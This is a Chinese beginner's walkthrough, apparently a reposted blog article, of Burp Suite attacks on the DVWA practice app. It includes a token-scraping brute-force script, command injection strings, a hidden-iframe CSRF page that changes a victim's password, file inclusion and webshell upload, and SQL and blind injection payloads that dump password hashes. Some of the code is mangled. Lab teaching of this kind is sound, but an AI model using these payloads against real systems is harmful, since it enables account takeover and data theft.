当前位置:   article > 正文

Burpsuite + DVWA 入门实战_dvwa burpsuite

dvwa burpsuite

功能介绍
burpsuit是一个用来抓包、改包、爆破密码的工具。

环境
Burpsuite 版本:1.7
浏览器:火狐

抓取第一个包

1.firefox代理设置(burpsuite默认为127.0.0.1:8080,所以为了方便这里也用)
在这里插入图片描述2.firefox的证书设置
url栏输入 http://burp,点击 CA Certificate 下载证书(放桌面就行)
在这里插入图片描述导入证书
在这里插入图片描述3.burpsuite的设置
在这里插入图片描述
然后就可以抓包了
在这里插入图片描述注意抓包的时候浏览器打不开网页属于正常现象,如果需要继续浏览,点击“Intercept is on”或者“Forward”按钮即可。

Repeater板块

在proxy模块抓到包后,点击Action按钮,选择 Send to Repeater
在这里插入图片描述
转到Repeater板块,点击go按钮,在Response区域内,可以看到服务器返回的信息

Intruder板块

同上,Action按钮 --> Send to Intruder ,转到 Intruder 板块。来到 Positions 子版块,看到有许多绿色背景文本,点击右侧 Clear 按钮 清除变量,并选中你想要的内容点击 Add 按钮来添加变量。
在这里插入图片描述
在这里插入图片描述

然后来到 payload 子页面,进行以下设置:(payload set :字典ID)
在这里插入图片描述
最后点击 Start attack 按钮
在这里插入图片描述

配置DVWA

介绍:其实就是一个供我们练习用的虚拟环境
首先安装XAMPP:https://www.apachefriends.org/zh_cn/index.html
安装完了以后在Apache及MySQL选择行中点击start便可创建虚拟环境:
在这里插入图片描述
但是我发现我的Apache是运行不起来的…别的也不多说了,直接上解决办法:
先点右上角Config按钮出现下图——
在这里插入图片描述
再点Service and Port Settings ,设置 端口号为8088/4431(原来是80/443)
在这里插入图片描述
点击Apache 后面的config按钮,依次修改两个配置文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
重启XAMPP,成功。

然后开始搞DVWA,先从官网下载.zip文件:http://www.dvwa.co.uk/
在这里插入图片描述
将文件解压至XAMPP目录下的htdocs文件夹中
在这里插入图片描述
打开子路径‘config’文件夹,将原来的文件改为config.ini.php(打开方式-记事本-另存为-所有文件)
在这里插入图片描述

回到XAMPP,点击“Apache”或“Mysql”的Admin按钮,打开网页。在后面追加以下内容,就可以打开DVWA的主页了:
在这里插入图片描述
一开始它提示我除了两个错误(第一个错误我没有解决,但是没有影响),可以参考这篇文章对文件进行修改:https://blog.csdn.net/wst0717/article/details/79623750
在这里插入图片描述
点击DVWA主页下面的 Create / Reset Database 按钮,就可以登陆了。默认的登录名和密码有很多,我在这里罗列出来:
在这里插入图片描述
在这里插入图片描述
输入账号密码后,成功登录系统:
在这里插入图片描述
注意,火狐的代理默认是localhost 、 127.0.0.1 不是用代理,需要把这里的内容删除:
在这里插入图片描述

DVWA·Brute Force 板块 - low

打开brute force 板块 , 随便填写账号、密码,点击Login按钮:
在这里插入图片描述
在 burpsuit 里抓到的包是这样的:
在这里插入图片描述
点击Action 按钮 ,转到 intruder 板块,设置账号、密码 为 扫面对象:(这里Cluster bomb 是 扫描1字典*2字典 次数,也就是username 和 password 的扫描完全独立。)
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

点击 start attack 按钮 ,等待扫描完成。可以看到这一条的相应长度(length)比较特殊,我们记录下来,等下去 DVWA 验证。
在这里插入图片描述

成功通过!
在这里插入图片描述

DVWA·Brute Force 板块 - medium

首先先把 ‘Security Level’ 从 low 修改为 meddle。打开XAMPP的安装路径,打开 config.inc.php
在这里插入图片描述

把 default_security_level 修改为 meddle , 然后清空浏览器缓存,重新打开DVWA主页
在这里插入图片描述

在这里插入图片描述

修改成功。
在这里插入图片描述

其实 middle 也可以进行密码爆破,这里就 pass 了。

DVWA·Brute Force 板块 - high

首先,用上面的方法把难度修改为 high
在这里插入图片描述
然后老样子,抓一个包,此时看到4个参数:
在这里插入图片描述
因为加入了token(令牌)校验,所以 burpsuit 就不能爆破了 , 推荐使用 python 编写脚本来实时的获取 token 的值,代码如下(来自网络):

from bs4 import BeautifulSoup
import urllib2
header={        
		'Host': '192.168.153.130',
		'Cache-Control': 'max-age=0',
		'If-None-Match': "307-52156c6a290c0",
		'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 					    Chrome/53.0.2785.116 Safari/537.36',
		'Accept': '*/*',
		'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'zh-CN,zh;q=0.8',
		'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
		requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

		def get_token(requrl,header):
		req = urllib2.Request(url=requrl,headers=header)
		response = urllib2.urlopen(req)
		print response.getcode(),
		the_page = response.read()
		print len(the_page)
		soup = BeautifulSoup(the_page,"html.parser")
		user_token = soup.form.input.input.input.input["value"] #get the user_token
		return user_token

		user_token = get_token(requrl,header)
		i=0
		for line in open("rkolin.txt"):
		requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?				username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
		i = i+1
		print i,'admin',line.strip(),
		user_token = get_token(requrl,header)
		if (i == 10):
		break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

剩下的 impossible 等级就不说了,不适合新手入门。

DVWA·Command Injection 板块 - low

打开 Command Injection 板块 , 输入 127.0.0.1 出现以下结果:
在这里插入图片描述
输入 net user 出现以下结果:
在这里插入图片描述
输入 127.0.0.1&&net user 出现以下结果:(暴露了本机用户名等敏感信息)
在这里插入图片描述

DVWA·Command Injection 板块 - medium

medium 等级加入了对”&&”与” ;” 的过滤(变成空字符),但是好在“&”没有过滤,所以我们使用以下语句:127.0.0.1&;&ipconfig (过滤后为:127.0.0.1&&ipconfig )

输入 127.0.0.1
在这里插入图片描述
输入 ipconfig
在这里插入图片描述
输入 127.0.0.1&&ipconfig
在这里插入图片描述

输入 127.0.0.1&;&ipconfig
在这里插入图片描述

DVWA·Command Injection 板块 - high

过滤了& ; |空格 - $ ( ) ` ||
因为| 后有一个空格,所以可以使用 127.0.0.1|net user (其中|的意思是把127.0.0.1输出作为net user的输入)

在这里插入图片描述
impossible 日常略过——

DVWA·CSRF 板块 - low

首先打开 CSRF 板块 , 此时 URL 是这样的:
在这里插入图片描述

然后 , 我们修改新密码为 password (本来密码就是 password 嘛…),观察 新URL:

http://localhost:8088/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
  • 1

在这里插入图片描述
我们把URL记录下来,将URL的 password_new 、 password_conf 的值改为 hack , 按下回车。再次登录的时候发现已经登录不上去了。
在这里插入图片描述

之后我们清理下浏览器的缓存,再次使用 admin+password 登录:
在这里插入图片描述
在这里插入图片描述
那么还有一个问题,我们怎么知道哪两个字段的 name 就是 password_new 、 password_conf 呢?我们打开 burpsuit 抓一个包看看:
在这里插入图片描述
现在明白怎么回事了吧。

DVWA·CSRF 板块 medium

medium 级别在URL上修改 password_new 、 password_conf 会显示失败:
在这里插入图片描述

但是可以用 burpsuit 达到目的,首先抓包:
在这里插入图片描述

把 password_new 、 password_conf 改成 hack 然后点击 Forward 按钮 重新发包:
在这里插入图片描述
修改成功:
在这里插入图片描述

最后清空浏览器缓存,使用 admin+hack 登录:
成功!
在这里插入图片描述

DVWA·CSRF 板块 high

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
参考代码:

<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>

 

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 

<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

参考网址:https://www.freebuf.com/articles/web/118352.html

DVWA·File Inclusion 板块 low

进入 file inclusion 板块 , 看到三个文件链接:
在这里插入图片描述
分别点开后,是这样的:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

我们不用去管文件里的内容,看URL:
我们修改下文件名,按下回车。发现它暴露了服务器的绝对路径。这样我们就可以用猜测的方法去读取我们原来无法读取的文件了。
在这里插入图片描述

另外我们还可以向服务器上传我们自己的文件,比如我在 “我文件所在服务器” 的根目录,创建一个text.txt , 内容是 hello
在这里插入图片描述

在URL输入以下路径后 回车 ,上传成功!
在这里插入图片描述

DVWA·File Inclusion 板块 medium

Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。
所以之前 远程文件上传就会失败:
在这里插入图片描述

所以在这里我们只能使用绝对路径 , 来上传本地文件:
在这里插入图片描述

DVWA·File Inclusion 板块 high

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。所以就不能直接使用本地文件路径了:
在这里插入图片描述
所以我们可以这样写:
在这里插入图片描述

DVWA·File Upload 板块 low

因为 low 等级没有限制文件上传类型 , 所以可以直接上传 .php文件 , 然后配合 中国菜刀。
在这里插入图片描述

DVWA·File Upload 板块 medium

medium 限制了文件上传的类型,只能为 png、jpg 所以,我们就要把 test.php 重命名为 test.png (隐藏.php扩展名) 这里过程就不演示了。

DVWA·File Upload 板块 high

high 等级会读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
打开 cmd ,输入以下命令
在这里插入图片描述
在这里插入图片描述
上传成功!
在这里插入图片描述

DVWA·Insecure CAPTCHA 板块 low

首先注意,这里发送验证码是需要翻墙的(我虽然有梯子,但是因为火狐浏览器开了127.0.0.1的代理,所以也没办法收到验证码,所以我们就直接抓包)
输入新密码 , 点击 Change 按钮 , 抓包:
在这里插入图片描述
然后我们要把 step 参数改成 2 :
在这里插入图片描述
修改成功!
在这里插入图片描述

DVWA·Insecure CAPTCHA 板块 medium

medium 等级就不能使用 low 的改包方法了:
在这里插入图片描述
重新抓包 , 在包尾加上这样一段话:(但是需要知道这个页面的源码,否则你不知道变量的名字)
在这里插入图片描述

DVWA·Insecure CAPTCHA 板块 high

原理还是一样,就是多了几个参数。(还是需要看源码)

DVWA·SQL Injection 板块 low

输入1,查询结果如图:
在这里插入图片描述
输入2:
在这里插入图片描述
输入3:
在这里插入图片描述
输入4:在这里插入图片描述
输入5:
在这里插入图片描述
输入6就不会显示了,也就是说一共表里只有5条数据。
输入:1’or’1’='1 , 显示以下结果:

原理:select * form 表名 where id = 1 or 1 = 1 , 因为1=1恒成立,所以就会打印所有的数据。

在这里插入图片描述
另外我们也输入 : 1 ’ union select 1 , database() ’ 来获取数据库信息
在这里插入图片描述
也可以获取表名:

1 ' union select 1 , group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 1

union :拼接 sql 语句 (这里也就是实现两个 select 查询)
group_concat(XXX):把某个字段的值在同一行打印出来
information_schema:每个 mysql 都有这个库
table_schema:数据库名
table_name:数据表名

在这里插入图片描述
还可以获取表中的字段名:

1 ' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #
  • 1

column_name:列名
columns :列

在这里插入图片描述
打印数据:

' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
  • 1

在这里插入图片描述
其中 md5 对应的明文密码为:

5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
5f4dcc3b5aa765d61d8327deb882cf99:password

DVWA·SQL Injection 板块 mediun

medium 级别无法在前端注入,但是可以用 burpsuit 抓包修改。并且过滤了一些特殊符号
在这里插入图片描述
改包截图:(答题类似,就不一一列举。重点就是去掉之前的 ’ 符号)
在这里插入图片描述
在这里插入图片描述
这里需要留意的是,medium 级别过滤了 ’ 符号。所以以下代码就会失效:

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#
  • 1

这里我们需要把 ’users’ 转换成 16 进制 。(这种工具网上多得是),用0x27757365727327 代替 ‘users’在这里插入图片描述

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
  • 1

这样就成功了。
在这里插入图片描述

high 等级的就不说了,原理基本都一样。

DVWA·SQL Injection (Blind) 板块 low

盲注,就是攻击者没法再前端看到返回的结果,只能知道注入的对错。
首先输入:1’ and 1 = 1 # , 存在
在这里插入图片描述
再输入:1’ and 1 = 2 # , 不存在
在这里插入图片描述
那么就说明存在盲注漏洞。继续猜 “数据库名” 长度。

输入:1’ and length(database())=1 # 不存在
输入:1’ and length(database())=2 # 不存在
输入:1’ and length(database())=3 # 不存在
输入:1’ and length(database())=4 # 存在

在这里插入图片描述
知道了数据库名长度 = 4 , 接下来猜 “数据库名”(二分法猜,推荐写脚本。这里给个思路)
代码来自网络:

    输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

    输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

    输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

    … 重复

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

类似的还有
·猜表数量:

    1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

  • 1
  • 2
  • 3
  • 4

猜表名(和猜数据库名一个道理) 这里不说了就。 剩下的猜字段的也不说了。

另外就是一下情况说明存在 “时间盲注”:

    输入1’ and sleep(5) #,感觉到明显延迟;

    输入1 and sleep(5) #,没有延迟;

  • 1
  • 2
  • 3
  • 4

最后,盲注终于搞完了(medium high 都略过,因为就是加了字符串过滤,可以参考上面的 SQL Injection 的方法)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/970150
推荐阅读
相关标签
  

闽ICP备14008679号